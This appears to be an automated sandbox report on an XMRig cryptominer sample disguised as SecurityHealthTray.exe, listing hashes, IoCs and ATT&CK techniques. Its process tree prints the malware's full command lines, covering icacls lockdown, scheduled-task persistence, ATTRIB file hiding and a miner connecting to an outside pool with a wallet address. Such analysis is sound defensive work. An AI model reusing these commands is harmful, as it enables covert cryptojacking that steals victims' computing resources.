xmrig | ec03f155bfdfa8c72f3bab882afe7b03d3d6898a8fb0a6a830c98d8ad39a348d

Analysis

max time kernel
150s
max time network
140s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
13/09/2024, 07:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe
Size

4.6MB
MD5

ddf6edbdb88c1fb6f8ce7e8285109710
SHA1

c04ddbdc2cdbc1925b7544c3718270672c01a807
SHA256

ec03f155bfdfa8c72f3bab882afe7b03d3d6898a8fb0a6a830c98d8ad39a348d
SHA512

fdc7f527e745759a42605e5f116fd0085477925408fdd3c54313abff1c2cbb53acfe86544835af8d5437864cb4887f7aa2348a98ecf9fa3f9f49868618334def
SSDEEP

98304:AVU6BHZRv4Meak0ZM0p2B6LwFKHXTjKzZXh5:+j9ZRQXn6cFSXT+z

Score

10^/10

xmrig defense_evasion discovery miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2700-0-0x00007FF6118D0000-0x00007FF6125CE000-memory.dmp	xmrig
behavioral2/memory/3644-13-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp	xmrig
behavioral2/memory/4444-19-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp	xmrig
behavioral2/memory/4764-25-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp	xmrig
behavioral2/memory/864-31-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp	xmrig
behavioral2/memory/3108-37-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	SecurityHealthTray.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	SecurityHealthTray.exe

Executes dropped EXE 5 IoCs

pid	Process
3644	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4764	SecurityHealthTray.exe
864	SecurityHealthTray.exe
3108	SecurityHealthTray.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3516	icacls.exe
4196	icacls.exe
1144	icacls.exe
4716	icacls.exe
4252	icacls.exe
4416	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2180	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 2 IoCs

evasion

pid	Process
3728	taskkill.exe
2368	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4980	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3644	SecurityHealthTray.exe
3644	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe
4444	SecurityHealthTray.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4764	SecurityHealthTray.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3728	taskkill.exe
Token: SeDebugPrivilege	2368	taskkill.exe
Token: SeLockMemoryPrivilege	4764	SecurityHealthTray.exe
Token: SeLockMemoryPrivilege	4764	SecurityHealthTray.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 1136	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	85
PID 2700 wrote to memory of 1136	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	85
PID 2700 wrote to memory of 860	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	87
PID 2700 wrote to memory of 860	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	87
PID 1136 wrote to memory of 4196	1136	cmd.exe	89
PID 1136 wrote to memory of 4196	1136	cmd.exe	89
PID 1136 wrote to memory of 1144	1136	cmd.exe	90
PID 1136 wrote to memory of 1144	1136	cmd.exe	90
PID 1136 wrote to memory of 4716	1136	cmd.exe	92
PID 1136 wrote to memory of 4716	1136	cmd.exe	92
PID 860 wrote to memory of 3728	860	cmd.exe	91
PID 860 wrote to memory of 3728	860	cmd.exe	91
PID 2700 wrote to memory of 2644	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	94
PID 2700 wrote to memory of 2644	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	94
PID 2700 wrote to memory of 3968	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	97
PID 2700 wrote to memory of 3968	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	97
PID 3968 wrote to memory of 2368	3968	cmd.exe	99
PID 3968 wrote to memory of 2368	3968	cmd.exe	99
PID 2700 wrote to memory of 4268	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	100
PID 2700 wrote to memory of 4268	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	100
PID 2700 wrote to memory of 4980	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	102
PID 2700 wrote to memory of 4980	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	102
PID 2700 wrote to memory of 2180	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	103
PID 2700 wrote to memory of 2180	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	103
PID 2700 wrote to memory of 4612	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	106
PID 2700 wrote to memory of 4612	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	106
PID 2700 wrote to memory of 3856	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	108
PID 2700 wrote to memory of 3856	2700	ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe	108
PID 2180 wrote to memory of 2676	2180	cmd.exe	110
PID 2180 wrote to memory of 2676	2180	cmd.exe	110
PID 3856 wrote to memory of 4252	3856	cmd.exe	111
PID 3856 wrote to memory of 4252	3856	cmd.exe	111
PID 2180 wrote to memory of 4548	2180	cmd.exe	112
PID 2180 wrote to memory of 4548	2180	cmd.exe	112
PID 3856 wrote to memory of 4416	3856	cmd.exe	113
PID 3856 wrote to memory of 4416	3856	cmd.exe	113
PID 3856 wrote to memory of 3516	3856	cmd.exe	114
PID 3856 wrote to memory of 3516	3856	cmd.exe	114
PID 2180 wrote to memory of 4696	2180	cmd.exe	115
PID 2180 wrote to memory of 4696	2180	cmd.exe	115
PID 3644 wrote to memory of 4444	3644	SecurityHealthTray.exe	123
PID 3644 wrote to memory of 4444	3644	SecurityHealthTray.exe	123
PID 4444 wrote to memory of 4764	4444	SecurityHealthTray.exe	124
PID 4444 wrote to memory of 4764	4444	SecurityHealthTray.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2676	attrib.exe
4548	attrib.exe
4696	attrib.exe

C:\Users\Admin\AppData\Local\Temp\ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\ddf6edbdb88c1fb6f8ce7e8285109710_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /grant "*S-1-5-7:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /grant "admin:(R,REA,RA,RD)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:4196
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /grant "*S-1-5-7:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:1144
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /grant "admin:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM SecurityHealthTray.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:860
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecurityHealthTray.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c RMDIR /S /Q C:\ProgramData\SecurityEssentials
  2⤵
  PID:2644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM SecurityHealthTray.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3968
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SecurityHealthTray.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c RMDIR /S /Q C:\ProgramData\SecurityEssentials
  2⤵
  PID:4268
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN Windows\x86_microsoft-windows-fsrm-common_31bf3256ad364e35_10.0.18372.1_none_3fed101f25aae892\MicrosoftSecurityEssentials /XML "C:\ProgramData\SecurityEssentials\task.xml"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials" & ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"& ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\attrib.exe
    ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials"
    3⤵
    - Views/modifies file attributes
    PID:2676
- - C:\Windows\system32\attrib.exe
    ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe"
    3⤵
    - Views/modifies file attributes
    PID:4548
- - C:\Windows\system32\attrib.exe
    ATTRIB +h +s +r "C:\ProgramData\SecurityEssentials\task.xml"
    3⤵
    - Views/modifies file attributes
    PID:4696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c DEL /F /Q C:\ProgramData\SecurityEssentials\task.xml
  2⤵
  PID:4612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)" & icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3856
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:4252
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:4416
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\SecurityEssentials" /inheritance:e /deny "admin:(R,REA,RA,RD)"
    3⤵
    - Modifies file permissions
    PID:3516

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3644
- C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
  "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe" --max-cpu-usage=10 -o pool.hashvault.pro:5555 -u 83GTGcroaPp62ba8bLofMeCvfswfuLyiS8vQv1Pq7gLU69pUo9jchLhJzXR6TSsDLsDoeWm6awZbPTRyumYopDxeScQVAsN -p x --rig-id={afdcdefbefe}
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4444
- - C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
    "C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe" --max-cpu-usage=50 -o pool.hashvault.pro:5555 -u 83GTGcroaPp62ba8bLofMeCvfswfuLyiS8vQv1Pq7gLU69pUo9jchLhJzXR6TSsDLsDoeWm6awZbPTRyumYopDxeScQVAsN -p x --rig-id={afdcdefbefe}
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:4764

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Executes dropped EXE
PID:864

C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
C:\ProgramData\SecurityEssentials\SecurityHealthTray.exe
1⤵
- Executes dropped EXE
PID:3108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\SecurityEssentials\task.xml

Filesize
1KB

MD5
75d36f991d4b31e7403d029ef1090309

SHA1
1dc4298c779cd92fbb9acd581eb22cc673c8db0f

SHA256
daf142a796681e4d72cbc457a06cd8e3ce78a523d512312a1305cc3b23b8a4d6

SHA512
57ab436000a3b404d0f18f293a95a2c0b72d429309039315675dd5b48537ff5195bf7ab022d86b2fb7f0129c612fa4b3d90f1196d996a1ceac3f680f6c1599d3

Download Submit
memory/864-31-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp

Filesize
13.0MB

Download
memory/2700-0-0x00007FF6118D0000-0x00007FF6125CE000-memory.dmp

Filesize
13.0MB

Download
memory/2700-4-0x0000020D463E0000-0x0000020D463F4000-memory.dmp

Filesize
80KB

Download
memory/3108-37-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp

Filesize
13.0MB

Download
memory/3644-13-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp

Filesize
13.0MB

Download
memory/4444-19-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp

Filesize
13.0MB

Download
memory/4764-25-0x00007FF7700A0000-0x00007FF770D9E000-memory.dmp

Filesize
13.0MB

Download